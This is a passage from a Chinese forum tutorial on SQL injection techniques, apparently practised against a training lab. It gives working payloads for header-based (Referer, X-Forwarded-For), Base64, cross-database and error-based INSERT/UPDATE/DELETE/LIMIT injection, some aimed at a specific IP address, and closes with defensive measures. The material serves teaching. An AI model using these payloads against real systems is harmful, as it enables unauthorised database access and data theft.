    发现页面没反应,说明id里面可能不存在注入点。

    抓包发现cookie这里可能会存在注入点

    image-20201108215355139

    2、判断注入类型,

    单双引号均报错,注入类型可能是数字型注入。

    image-20201108215503852

    3、判断是否存在sql注入

    image-20201121151029678

    image-20201121151038642

    4、构造报错语句

    image-20201121150956020

    十七:Referer注入

    image-20201121151314146

    闭合查询语句判断出存在Re注入

    image-20201121151550995

    image-20201121152411214

    十八:XFF注入

    1)在x-forwarded-for后输入一个ip地址,对应内容返回到页面上,因此可能存在XFF注入

    image-20210214145128793

    2)判断注入类型

    image-20210214145240726

    输入单引号报错,说明是字符型注入

    3)闭合查询语句,判断列数

    x-forwarded-for:127.0.0.1' order by 6 #         正常x-forwarded-for:127.0.0.1' order by 7 #           报错

    说明存在六列

    4)判断回显位置

    x-forwarded-for:1127.0.0.1' union select 1,2,3,4,5,6 #

    image-20210214145503211

    发现2,3位置可以回显,因此就可以使用常规注入思路,这里获取数据库名即可

    x-forwarded-for:1127.0.0.1' union select 1,database(),3,4,5,6 #

    image-20210214145539943

    十九:Base64注入

    1)打开页面,输入id=1,发现页面无回显

    image-20210214145838761

    2)将1通过base64编码后看看结果

    image-20210214145932212

    发现页面回显,因此该页面可能存在base64注入

    3)构造判断语句,并通过base64编码

    http://106.52.110.188:21594/base64.php?id=MSBhbmQgMT0x  正常http://106.52.110.188:21594/base64.php?id=MSBhbmQgMT0x  错误

    因此可以判断该页面存在base64注入,其他按照平常思路即可

    二十:MySQL高权限跨库注入

    跨库注入条件:root权限
    场景:网站A无注入点,网站B存在mysql注入,网站A及网站B数据库存在统一mysql 数据库中,这时我们可以利用网站B的注入点进去跨库注入获取网站A的数据。

    1、获取所有数据库名

    http://106.52.110.188:21594/union.php?id=1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--+

    image-20210208150836530

    2、获取performance_schema数据库下的表名称

    http://106.52.110.188:21594/union.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema = 'performance_schema'--+

    image-20210208151043588

    。。。其他均按照基本流程即可,获取数据时记得通过(数据库.数据表)指定数据库的表

    二十一、基于增删改的注入

    用户注册、密码修改、信息意除
    1.Sql语句组合拼接保证sql语句正常运行

    2.Sql语句中闭合使用(符号或截断)

    3.每个不同注入方式和网站应用功能有关

    1、通过insert进行注入

    insert into users (id,username,password) values (18,'lisa' or updatexml(1,concat(0x7e,database()),1),lisa123);ERROR 1105 (HY000): XPATH syntax error: '~security'

    image-20210208152508375

    insert into users (id,username,password) values (18,'lisa' or extractvalue(1,concat(0x7e,database())) or '' ,lisa123);

    image-20210208152835364

    insert into users (id,username,password) values (18,'lisa' or (select 1 from (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))a) or '' ,lisa123);

    image-20210208153235599

    insert into users (id,username,password) values (18,'lisa' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' ,'lisa123');

    image-20210208154118923

    2、通过update注入

    update users set password='c1ay' or updatexml(1,concat(0x7e,database()),1) where id = 8 and username='admin';

    image-20210208154339629

    update users set password='c1ay' or extractvalue(1,concat(0x7e,database())) where id = 8 and username='admin';

    image-20210208154604248

    3、通过delete注入

    delete from users where id = 8 or extractvalue(1,concat(0x7e,database()));

    image-20210208154731517

    4、limit注入

    select * from users where id>0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

    image-20210208155208773

    二十二、SQL注入的防护

    1、过滤

    • 通过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生
    • 优点:业务改动量小,部署方便,是安全防护软件/硬件常用的解决方案
    • 缺点:基于黑名单的工作原理,容易产生误报或被绕过

    2、编码

    • 基于各类数据库定义的关键字和符号的转义规则将用户输入进行转义后组成SQL语句
    • 优点:不影响正常请求且不容易被绕过,OWASP ESAPI项目提供了这种解决方案。
    • 缺点:整改需要一定的工作量,需要数据库自身的支持,且理论上仍存在的绕过风险。

    3、预编译

    • 基于各种语言的预编译功能,先将SQL语句进行编译,用户输入的内容只会被当做参数传入,不会被编译为命令
    • 优点:从根本上杜绝了SQL发生的可能性。
    • 缺点:业务改动量大,建议新开发的项目均采用此种方式避免SQL注入攻击的产生。
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册